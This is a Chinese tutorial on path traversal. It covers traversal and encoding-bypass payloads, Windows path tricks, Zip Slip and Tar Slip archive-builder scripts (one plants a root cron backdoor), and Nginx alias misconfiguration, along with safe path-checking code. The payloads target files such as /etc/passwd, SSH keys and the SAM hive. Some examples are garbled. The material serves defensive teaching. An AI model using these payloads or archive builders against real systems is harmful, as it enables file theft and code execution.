一、什么是目录遍历
目录遍历(Path Traversal,也叫 Directory Traversal)就是攻击者通过 ../ 让文件路径"往上一级",最终指向目标目录之外的文件。
1.1 漏洞代码
``python
Flask - 读取用户指定的文件
from flask import Flask, request, send_file
import os
app = Flask(name)
@app.route('/download')
def download():
filename = request.args.get('file')
path = f"/var/www/uploads/{filename}"
return send_file(path)
# filename = "../../../etc/passwd" 时
# path = /var/www/uploads/../../../etc/passwd
# → /etc/passwd ✓
if name == 'main':
app.run(host='0.0.0.0', port=5000)
``
1.2 为什么是危险的
``
目标上传目录:/var/www/uploads/
攻击者想读 /etc/passwd
层级关系
/var/www/uploads/
/var/www/ <- ../
/var/ <- ../../
/ <- ../../../
etc/passwd <- ../../../etc/passwd
``
二、基础 payload
2.1 最基础的
../etc/passwd ../../etc/passwd ../../../etc/passwd ../../../../etc/passwd
2.2 绕过后缀追加
很多代码会自动追加后缀 .html 或 .php:
``
自动追加 .html
?file=../../etc/passwd/../../../../../etc/passwd
最终路径:/var/www/../../../etc/passwd/../../../../../etc/passwd.html
解析后指向 /etc/passwd.html... 不对
用 %00 截断(PHP < 5.3.4)
?file=../../etc/passwd%00
用问号截断(某些 Web 服务器)
?file=../../etc/passwd?
用 # 截断(某些 Web 服务器)
?file=../../etc/passwd#
``
三、编码绕过
3.1 URL 编码
``
../ -> %2e%2e%2f
%2e%2e%2f%2e%2e%2fetc/passwd
双重 URL 编码(WAF 只解一次)
%252e%252e%252fetc/passwd
Unicode 编码
..%255c..%255cetc/passwd
``
3.2 各层编码处理顺序
WAF → Web 服务器 → 应用框架 → 代码
如果 WAF 只做一次 URL 解码,%252e(二次编码的点号)会被当作普通字符放过;
到 PHP/ASP.NET 应用层才会解第二次,变成 ..。
3.3 Python urllib 编码示例
# url_encodings.py
import urllib.parse
payloads = [
"../../etc/passwd",
"..%2f..%2fetc/passwd",
"..%252f..%252fetc/passwd",
"..%c0%af..%c0%afetc/passwd", # 超长 UTF-8(绕过部分 WAF)
"%2e%2e%2f%2e%2e%2fetc%2fpasswd",
]
for p in payloads:
# Python 的 pathlib 解析(不会做 URL 解码)
import os
full = f"/var/www/uploads/{p}"
resolved = os.path.realpath(full)
print(f" 输入: {p:40s} -> 解析后: {resolved}")
四、Linux 特殊技巧
4.1 绝对路径
``
file=/etc/passwd
某些代码直接拼接:base + filename
如果 filename 以 / 开头,拼接后 base 被忽略
path = "/var/www/uploads/" + "/etc/passwd" = "/var/www/uploads//etc/passwd"
某些实现会自动解析 // 为 / → /var/www/uploads/etc/passwd
但如果是 os.path.join:
os.path.join("/var/www/uploads", "/etc/passwd") = "/etc/passwd"
``
``python
import os
os.path.join("/var/www/uploads", "/etc/passwd")
'/etc/passwd' # 第二个参数是绝对路径,直接覆盖!os.path.join("/var/www/uploads", "../../etc/passwd")
'/var/www/etc/passwd'import pathlib
(pathlib.Path("/var/www/uploads") / "../../etc/passwd").resolve()
PosixPath('/etc/passwd')
``
4.2 ~ 扩展
``
bash 会把 ~ 展开成 home 目录
但大多数文件 API 不做这个展开
file=~/.ssh/id_rsa
某些场景(如 .htaccess 的 RewriteRule)会展开
``
五、Windows 特有技巧
5.1 反斜杠 \
``
file=......\windows\win.ini
很多应用会把 \ 替换成 /,或者原样解析
``
5.2 Windows 8.3 短文件名
Windows NTFS 文件系统每个文件自动生成一个 8.3 短文件名(如 Program Files 变成 Progra~1)。某些代码做白名单时没考虑短名称。
C:Progra~1 # C:Program Files C:Progra~2 # C:Program Files (x86) C:DOCUME~1 # C:Documents and Settings C:UsersADMINI~1 # C:UsersAdministrator
5.3 Windows 命名漏洞
``
保留名不能作为文件名,但可以作为路径的一部分
file=CON # 尝试访问 CON 设备
file=........\windows\win.ini::$INDEX_ALLOCATION
NTFS 备用数据流(ADS)
file=config.php::$DATA
某些代码只检查有没有 .php 后缀,不管 ::DATA
NUL 设备读取
file=\.\NUL # 某些应用会读取 NUL 设备
``
5.4 Windows 路径特殊字符
``
末尾加点号、空格在 Windows 上会被自动去掉
file=shell.php. # 实际变成 shell.php
file=shell.php %20 # 实际变成 shell.php
??\ 前缀 - Windows extended-length path
file=\??\C:\Windows\System32\config\sam
某些旧版防护只检查路径前 260 字符,用 ??\ 绕过
``
六、压缩包 Slip(Zip Slip / Tar Slip)
这是非常经典的目录遍历,发生在解压阶段。
6.1 原理
攻击者构造一个 zip 包,里面某个文件的路径是 ../../../tmp/evil.sh。解压时如果不做检查,这个文件就会被写到解压目录之外!
6.2 Python Zip Slip
``python
zip_slip_exploit.py - 构造恶意 zip
import zipfile, io
def create_malicious_zip(output_path, escape_traversal="../", target_path="/tmp/evil.sh", content="#!/bin/bash
id
"):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
# 构造恶意文件名
# 目标:解压到 /var/www/uploads/ 后,文件落到 /tmp/evil.sh
traversal = escape_traversal + escape_traversal + escape_traversal # 3 层
malicious_name = traversal.lstrip('/') + target_path.lstrip('/')
zf.writestr(malicious_name, content)
print(f"[+] zip 内文件名: {malicious_name}")
with open(output_path, 'wb') as f:
f.write(buf.getvalue())
print(f"[+] 已写入: {output_path}")
使用
create_malicious_zip('evil.zip', '../../../', '/tmp/pwned.txt', b'PWNED')
``
6.3 受害者代码
``python
受害者 - 漏洞的解压代码
import zipfile
def extract_vulnerable(zip_path, dest):
with zipfile.ZipFile(zip_path, 'r') as zf:
for name in zf.namelist():
# 直接解压,没检查路径!
zf.extract(name, dest)
# 如果 name = "../../tmp/evil.sh"
# extract 会写到 dest/../../tmp/evil.sh
# 解析后就是 /tmp/evil.sh
安全的解压代码
def extract_safe(zip_path, dest):
dest = os.path.realpath(dest)
with zipfile.ZipFile(zip_path, 'r') as zf:
for name in zf.namelist():
# 1. 规范化目标路径
target_path = os.path.realpath(os.path.join(dest, name))
# 2. 确保在 dest 之内
if not target_path.startswith(dest + os.sep) and target_path != dest:
raise ValueError(f"非法路径: {name}")
zf.extract(name, dest)
``
6.4 各语言 Zip Slip 检查代码
java // Java Zip Slip 检查 ZipFile zipFile = new ZipFile(filePath); Enumeration<? extends ZipEntry> entries = zipFile.entries(); while (entries.hasMoreElements()) { ZipEntry entry = entries.nextElement(); File destFile = new File(destDir, entry.getName()); String canonicalDestPath = destFile.getCanonicalPath(); String canonicalDestDirPath = destDir.getCanonicalPath() + File.separator; if (!canonicalDestPath.startsWith(canonicalDestDirPath)) { throw new IllegalArgumentException("非法路径: " + entry.getName()); } }
javascript // Node.js adm-zip 检查 const AdmZip = require('adm-zip'); const zip = new AdmZip('./evil.zip'); const entries = zip.getEntries(); entries.forEach(entry => { const fullPath = path.resolve(destDir, entry.entryName); if (!fullPath.startsWith(path.resolve(destDir) + path.sep)) { throw new Error('非法路径'); } });
6.5 Tar Slip(更隐蔽)
tar 包(.tar / .tar.gz / .tgz / .tar.bz2)的 slip 更狠——可以直接覆盖任意绝对路径的文件:
``python
tar_slip.py - 构造恶意 tar
import tarfile, io
def create_malicious_tar(output_path, target_file, content):
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as tf:
# TarInfo 直接设置 name 为绝对路径
info = tarfile.TarInfo(name=target_file)
info.size = len(content)
info.mode = 0o644
tf.addfile(info, io.BytesIO(content))
print(f"[+] tar 内文件: {target_file}")
with open(output_path, 'wb') as f:
f.write(buf.getvalue())
覆盖 /etc/cron.d/backdoor
create_malicious_tar('evil.tar', '/etc/cron.d/backdoor', b'* * * * * root id > /tmp/pwned 2>&1
')
``
6.6 真实案例
- Apache Commons Compress 2018 年 CVE-2018-1000126 Zip Slip
- Node.js adm-zip 多个版本 Zip Slip
- Jenkins 插件解压时的路径穿越
- Arbitrary File Overwrite in npm node-tar CVE-2018-16853
- Spring Cloud Function 2022 CVE-2022-22963(Spring4Shell 的 variant)
七、Nginx alias 错误
这不是传统的路径穿越,但效果一样——把本应限制在某个目录下的请求映射到了任意文件。
7.1 错误配置
``nginx
错误配置(缺一个尾部斜杠或多一个斜杠)
location /static/ {
alias /var/www/data; # 少了 / !
}
或者
location /static {
alias /var/www/data/; # 多了 / !
}
``
7.2 攻击 payload
``
假设 location /static/ { alias /var/www/data; }
请求 /static../etc/passwd
Nginx 匹配 location /static/ 后
内部路径变成 /var/www/data../etc/passwd
解析后是 /var/www/etc/passwd...
实际要看 Nginx 的内部匹配算法,有多种情况
正确 payload 之一:
/static../etc/passwd
某些版本:
/static/../etc/passwd
``
7.3 修复
``nginx
location 和 alias 都要有尾部斜杠,或者都没有
location /static/ {
alias /var/www/data/; # 都有 /
}
或者用 root(更简单,不会出错)
location /static/ {
root /var/www/data; # root 不需要尾部 /
}
``
八、Java 反序列化触发路径穿越
Java 的 TemplatesImpl 链里有一个 TrAXFilter 类,可以加载外部配置文件;配合路径穿越能加载任意 class 文件。类似的,某些反序列化链会触发 FileOutputStream 写入攻击者指定路径。
java // 反序列化链里的 FileOutputStream 调用 // 攻击者控制的 obj 被反序列化时触发 __destruct // → new FileOutputStream("../../webapp/shell.jsp") // → 写 WebShell
九、安全的路径处理代码
9.1 Python
``python
import os
def safe_read_file(user_path, base_dir):
base_dir = os.path.realpath(base_dir)
full = os.path.realpath(os.path.join(base_dir, user_path))
if not full.startswith(base_dir + os.sep):
raise ValueError(f"非法路径: {user_path}")
if not os.path.isfile(full):
raise FileNotFoundError(full)
return open(full, 'rb').read()
使用
content = safe_read_file(
request.args.get('file'),
'/var/www/uploads'
)
``
9.2 PHP
``php
<?php
function safe_read($user_path, $base_dir) {
$base_dir = realpath($base_dir);
$target = realpath($base_dir . '/' . $user_path);
// 1. 路径必须存在
if ($target === false) {
throw new Exception('文件不存在');
}
// 2. 必须在 base_dir 内
if (strpos($target, $base_dir) !== 0 || $target === $base_dir) {
throw new Exception('非法路径');
}
// 3. 必须是正常文件(不是目录、不是符号链)
if (!is_file($target)) {
throw new Exception('不是合法文件');
}
return file_get_contents($target);
}
try {
$content = safe_read($_GET['file'], '/var/www/uploads');
echo $content;
} catch (Exception $e) {
http_response_code(400);
echo $e->getMessage();
}
?>
``
9.3 Node.js
``javascript
const path = require('path');
const fs = require('fs');
function safeReadFile(userPath, baseDir) {
const base = path.resolve(baseDir);
const full = path.resolve(base, userPath);
if (!full.startsWith(base + path.sep)) {
throw new Error(`非法路径: ${userPath}`);
}
return fs.readFileSync(full);
}
``
十、路径穿越 + 其他漏洞 = 爆炸
| 组合 | 效果 |
|---|---|
| Zip Slip + 文件上传 | 解压时写任意文件 |
| 路径穿越 + LFI | 读取 Web 根目录外文件 |
| 路径穿越 + 反序列化 | 触发 pop 链写 WebShell |
| Nginx alias + SSRF | 间接读 Nginx 内部文件 |
| 路径穿越 + 定时任务 | 写 /etc/cron.d/ 直接 RCE |
| 路径穿越 + PHP session | 写 /tmp/sess_ 配合 LFI |
| 路径穿越 + phar:// | 写 phar 再触发反序列化 |
| 路径穿越 + .htaccess | 改目录配置扩大攻击面 |
十一、小结
路径穿越是最基础也最容易被忽略的漏洞类型。关键防御点:
- 先 resolve 再检查 —— 用真实路径比较,不要用字符串匹配
- base 目录必须带尾部分隔符 —— 避免
os.path.join被绝对路径绕 - 统一编码处理 —— 先解 URL / Unicode / 8.3 全部形式再校验
- 解压包必须做路径检查 —— Zip Slip / Tar Slip 高危
- 压缩包要白名单 —— 只允许明确的文件类型和解压位置
如果你的应用有文件上传/解压/下载功能,一定要先写路径校验测试用例,把本文所有 payload 都跑一遍。